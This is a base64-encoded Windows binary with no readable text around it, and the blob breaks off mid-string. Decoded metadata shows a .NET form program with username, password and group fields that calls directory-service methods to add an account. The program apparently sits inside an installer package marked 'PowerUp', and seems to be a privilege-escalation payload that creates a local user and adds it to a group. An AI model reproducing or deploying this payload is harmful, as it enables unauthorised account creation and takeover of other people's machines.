AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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bAAEAHAABAB0AAQAeAAEAIAABAKgAqQABAAEABgABAAwAAQALAAEAJgABAA8AAQAEAAEACwABABQAAQAOAAEABwADACYAAwAWAAEAKwABAEIABQAGACIAKQAqACsALwA1AD0ATQBcAGEAbwByAHMAdAB3AIIAhgCQAAEABgABACMAAQARAAEAEwABABQAAQAWAAEA/v8AAAYBAgAAAAAAAAAAAAAAAAAAAAAAAQAAAALVzdWcLhsQk5cIACss+a4wAAAAUAAAAAMAAAABAAAAKAAAAAAAAIAwAAAADwAAADgAAAAAAAAAAAAAAAIAAACwBAAAEwAAAAkEAAAfAAAACAAAAFAAbwB3AGUAcgBVAHAAAABkR3VpZEEgc3RyaW5nIEdVSUQgdW5pcXVlIHRvIHRoaXMgY29tcG9uZW50LCB2ZXJzaW9uLCBhbmQgbGFuZ3VhZ2UuRGlyZWN0b3J5X0RpcmVjdG9yeVJlcXVpcmVkIGtleSBvZiBhIERpcmVjdG9yeSB0YWJsZSByZWNvcmQuIFRoaXMgaXMgYWN0dWFsbHkgYSBwcm9wZXJ0eSBuYW1lIHdob3NlIHZhbHVlIGNvbnRhaW5zIHRoZSBhY3R1YWwgcGF0aCwgc2V0IGVpdGhlciBieSB0aGUgQXBwU2VhcmNoIGFjdGlvbiBvciB3aXRoIHRoZSBkZWZhdWx0IHNldHRpbmcgb2J0YWluZWQgZnJvbSB0aGUgRGlyZWN0b3J5IHRhYmxlLkF0dHJpYnV0ZXNSZW1vdGUgZXhlY3V0aW9uIG9wdGlvbiwgb25lIG9mIGlyc0VudW1BIGNvbmRpdGlvbmFsIHN0YXRlbWVudCB0aGF0IHdpbGwgZGlzYWJsZSB0aGlzIGNvbXBvbmVudCBpZiB0aGUgc3BlY2lmaWVkIGNvbmRpdGlvbiBldmFsdWF0ZXMgdG8gdGhlICdUcnVlJyBzdGF0ZS4gSWYgYSBjb21wb25lbnQgaXMgZGlzYWJsZWQsIGl0IHdpbGwgbm90IGJlIGluc3RhbGxlZCwgcmVnYXJkbGVzcyBvZiB0aGUgJ0FjdGlvbicgc3RhdGUgYXNzb2NpYXRlZCB3aXRoIHRoZSBjb21wb25lbnQuS2V5UGF0aEZpbGU7UmVnaXN0cnk7T0RCQ0RhdGFTb3VyY2VFaXRoZXIgdGhlIHByaW1hcnkga2V5IGludG8gdGhlIEZpbGUgdGFibGUsIFJlZ2lzdHJ5IHRhYmxlLCBvciBPREJDRGF0YVNvdXJjZSB0YWJsZS4gVGhpcyBleHRyYWN0IHBhdGggaXMgc3RvcmVkIHdoZW4gdGhlIGNvbXBvbmVudCBpcyBpbnN0YWxsZWQsIGFuZCBpcyB1c2VkIHRvIGRldGVjdCB0aGUgcHJlc2VuY2Ugb2YgdGhlIGNvbXBvbmVudCBhbmQgdG8gcmV0dXJuIHRoZSBwYXRoIHRvIGl0LkN1c3RvbUFjdGlvblByaW1hcnkga2V5LCBuYW1lIG9mIGFjdGlvbiwgbm9ybWFsbHkgYXBwZWFycyBpbiBzZXF1ZW5jZSB0YWJsZSB1bmxlc3MgcHJpdmF0ZSB1c2UuVGhlIG51bWVyaWMgY3VzdG9tIGFjdGlvbiB0eXBlLCBjb25zaXN0aW5nIG9mIHNvdXJjZSBsb2NhdGlvbiwgY29kZSB0eXBlLCBlbnRyeSwgb3B0aW9uIGZsYWdzLlNvdXJjZUN1c3RvbVNvdXJjZVRoZSB0YWJsZSByZWZlcmVuY2Ugb2YgdGhlIHNvdXJjZSBvZiB0aGUgY29kZS5UYXJnZXRGb3JtYXR0ZWRFeGNlY3V0aW9uIHBhcmFtZXRlciwgZGVwZW5kcyBvbiB0aGUgdHlwZSBvZiBjdXN0b20gYWN0aW9uRXh0ZW5kZWRUeXBlQSBudW1lcmljIGN1c3RvbSBhY3Rpb24gdHlwZSB0aGF0IGV4dGVuZHMgY29kZSB0eXBlIG9yIG9wdGlvbiBmbGFncyBvZiB0aGUgVHlwZSBjb2x1bW4uVW5pcXVlIGlkZW50aWZpZXIgZm9yIGRpcmVjdG9yeSBlbnRyeSwgcHJpbWFyeSBrZXkuIElmIGEgcHJvcGVydHkgYnkgdGhpcyBuYW1lIGlzIGRlZmluZWQsIGl0IGNvbnRhaW5zIHRoZSBmdWxsIHBhdGggdG8gdGhlIGRpcmVjdG9yeS5EaXJlY3RvcnlfUGFyZW50UmVmZXJlbmNlIHRvIHRoZSBlbnRyeSBpbiB0aGlzIHRhYmxlIHNwZWNpZnlpbmcgdGhlIGRlZmF1bHQgcGFyZW50IGRpcmVjdG9yeS4gQSByZWNvcmQgcGFyZW50ZWQgdG8gaXRzZWxmIG9yIHdpdGggYSBOdWxsIHBhcmVudCByZXByZXNlbnRzIGEgcm9vdCBvZiB0aGUgaW5zdGFsbCB0cmVlLkRlZmF1bHREaXJUaGUgZGVmYXVsdCBzdWItcGF0aCB1bmRlciBwYXJlbnQncyBwYXRoLkZlYXR1cmVQcmltYXJ5IGtleSB1c2VkIHRvIGlkZW50aWZ5IGEgcGFydGljdWxhciBmZWF0dXJlIHJlY29yZC5GZWF0dXJlX1BhcmVudE9wdGlvbmFsIGtleSBvZiBhIHBhcmVudCByZWNvcmQgaW4gdGhlIHNhbWUgdGFibGUuIElmIHRoZSBwYXJlbnQgaXMgbm90IHNlbGVjdGVkLCB0aGVuIHRoZSByZWNvcmQgd2lsbCBub3QgYmUgaW5zdGFsbGVkLiBOdWxsIGluZGljYXRlcyBhIHJvb3QgaXRlbQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABEB4wCoAPkAgAWuAPkAjQVeABkB4wCoAPkAmwW1APkApAVpAPkAsQVeAPkAugUZACEB4wC8APkA1AXCAPkA3gXCACkB+QUZADEB4wDJADkBLAbPADkBUgbWAAkAZAa1APkAhQbdAEkBEAXjAAkAkgbCAPkAmwYZAPkAqAYKAFEB4wAKAFkB4wDuAGEBFAdNAREA4wAKAGkB4wAKAAEBNAc4AAEBRwdWAQEBaQdbAXEB4wAKABkA4wAKAHkBoQeiAXkBvAerAUkA4wCxAZEB4wC+AS4AGwDsAS4AewBKAi4AMwDyAS4ACwDOAS4AEwDsAS4AIwDsAS4AKwDOAS4AUwAKAi4AcwBBAi4ASwDsAS4AOwDsAS4AYwA0Ai4AawDFAUkAKwLFAWMAywH0AGMAwwHpAGkAKwLFAaMAAwLpAKMAwwHpAKMAywFhAYAB4wHpAJkAuQEDAAEABQACAAAA5gEzAAAABAJUAAAAfQJZAAIACQADAAIADgAFAAIADwAHAAEAEAAHAASAAAABAAAAAAAAAAAAAAAAAC0AAAACAAAAAAAAAAAAAAABAIUAAAAAAAIAAAAAAAAAAAAAAAEAnwAAAAAAAgAAAAAAAAAAAAAAAQDTAAAAAAACAAAAAAAAAAAAAAB5ALkEAAAAAAIAAAAAAAAAAAAAAHkAawUAAAAAAAAAAAEAAAD3BwAAuAAAAAEAAAAgCAAAAAAAAAA8TW9kdWxlPgBXaW5kb3dzRm9ybXNBcHBsaWNhdGlvbjEuZXhlAEZvcm0xAFdpbmRvd3NGb3Jtc0FwcGxpY2F0aW9uMQBTZXR0aW5ncwBXaW5kb3dzRm9ybXNBcHBsaWNhdGlvbjEuUHJvcGVydGllcwBQcm9ncmFtAFJlc291cmNlcwBTeXN0ZW0uV2luZG93cy5Gb3JtcwBGb3JtAFN5c3RlbQBTeXN0ZW0uQ29uZmlndXJhdGlvbgBBcHBsaWNhdGlvblNldHRpbmdzQmFzZQBtc2NvcmxpYgBPYmplY3QALmN0b3IARXZlbnRBcmdzAEZvcm0xX0xvYWQAbGFiZWwxX0NsaWNrAGxhYmVsM19DbGljawBidXR0b24xX0NsaWNrAGdyb3VwX1RleHRDaGFuZ2VkAFN5c3RlbS5Db21wb25lbnRNb2RlbABJQ29udGFpbmVyAGNvbXBvbmVudHMARGlzcG9zZQBJbml0aWFsaXplQ29tcG9uZW50AFRleHRCb3gAdXNlcm5hbWUATGFiZWwAbGFiZWwxAGxhYmVsMgBwYXNzd29yZABsYWJlbDMAZ3JvdXAAQnV0dG9uAGJ1dHRvbjEAZGVmYXVsdEluc3RhbmNlAGdldF9EZWZhdWx0AERlZmF1bHQATWFpbgBTeXN0ZW0uUmVzb3VyY2VzAFJlc291cmNlTWFuYWdlcgByZXNvdXJjZU1hbgBTeXN0ZW0uR2xvYmFsaXphdGlvbgBDdWx0dXJlSW5mbwByZXNvdXJjZUN1bHR1cmUAZ2V0X1Jlc291cmNlTWFuYWdlcgBnZXRfQ3VsdHVyZQBzZXRfQ3VsdHVyZQBDdWx0dXJlAHNlbmRlcgBlAGRpc3Bvc2luZwB2YWx1ZQBTeXN0ZW0uUmVmbGVjdGlvbgBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5RGVzY3JpcHRpb25BdHRyaWJ1dGUAQXNzZW1ibHlDb25maWd1cmF0aW9uQXR0cmlidXRlAEFzc2VtYmx5Q29tcGFueUF0dHJpYnV0ZQBBc3NlbWJseVByb2R1Y3RBdHRyaWJ1dGUAQXNzZW1ibHlDb3B5cmlnaHRBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAQXNzZW1ibHlDdWx0dXJlQXR0cmlidXRlAFN5c3RlbS5SdW50aW1lLkludGVyb3BTZXJ2aWNlcwBDb21WaXNpYmxlQXR0cmlidXRlAEd1aWRBdHRyaWJ1dGUAQXNzZW1ibHlWZXJzaW9uQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAU3lzdGVtLkRpYWdub3N0aWNzAERlYnVnZ2FibGVBdHRyaWJ1dGUARGVidWdnaW5nTW9kZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAFJ1bnRpbWVDb21wYXRpYmlsaXR5QXR0cmlidXRlAEVudmlyb25tZW50AGdldF9NYWNoaW5lTmFtZQBTdHJpbmcAQ29uY2F0AFN5c3RlbS5EaXJlY3RvcnlTZXJ2aWNlcwBEaXJlY3RvcnlFbnRyeQBEaXJlY3RvcnlFbnRyaWVzAGdldF9DaGlsZHJlbgBDb250cm9sAGdldF9UZXh0AEFkZABJbnZva2UAQ29tbWl0Q2hhbmdlcwBGaW5kAGdldF9QYXRoAFRvU3RyaW5nAEFwcGxpY2F0aW9uAEV4aXQASURpc3Bvc2FibGUAU3VzcGVuZExheW91dABTeXN0ZW0uRHJhd2luZwBQb2ludABzZXRfTG9jYXRpb24Ac2V0X05hbWUAU2l6ZQBzZXRfU2l6ZQBzZXRfVGFiSW5kZXgAc2V0X1RleHQAc2V0X0F1dG9TaXplAEV2ZW50SGFuZGxlcgBhZG